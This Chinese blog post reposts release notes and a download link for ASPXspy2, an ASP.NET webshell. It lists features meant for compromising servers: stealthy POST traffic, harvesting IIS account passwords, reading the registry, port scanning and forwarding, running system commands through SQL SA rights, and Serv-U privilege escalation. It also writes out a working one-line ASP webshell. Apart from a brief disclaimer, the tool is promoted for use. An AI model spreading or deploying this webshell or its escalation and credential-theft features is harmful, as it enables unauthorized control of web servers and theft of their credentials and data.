鬼仔's Blog

作者：Bin

1.开发环境VS2008 + C#，兼容FrameWork1.1/2.0，基本实现代码分离,CSS方便参考了phpspy。
2.密码为32位MD5加密(小写) 默认为 admin.
3.全部采用POST方式提交数据，增强了隐蔽性。
4.增强了IIS探测功能，遍历IIS站点信息，绝对路径，多域名绑定，以及IIS账号密码。
5.增加了对指定文件的搜索功能。
6.修正了一些数据库操作的BUG。
7.增强了对注册表的读取，此部分由BloodSword完成，在此感谢。
8.修正了对端口的多线程扫描
9.增强了端口转发功能，参考了Cnqing的一些代码，在此感谢。

免责声明：此工具为安全检测工具，任何人使用此工具，做违法国家法律的事情，责任自负！
联系方式：E-mail:[email protected] Blog:www.rootkit.net.cn

下载地址：ASPXspy2.rar

# 鬼仔：备份地址

作者：Bin
来源：Bin-Blog

Readme:

1.开发环境VS2005 + C#，兼容FrameWork1.1/2.0，基本实现代码分离。

2.密码为32位MD5加密(小写) 默认为 admin.

3.采用POST方式提交数据，增强了隐蔽性。

4.添加了IIS探测功能，遍历IIS站点信息。

5.增强了对文件属性的修改。

6.在SQLTools中增加了，SA权限执行系统命令功能，SQL_DIR 功能，可以直接备份log/database，到指定目录。
文件名为bin.asp Shell 为<%execute request(“B”)%>

7.增加了 Serv-u 提权功能.

8.可以对端口实现单线程扫描。

9.可以对注册表进行简单的读取.
阅读全文 »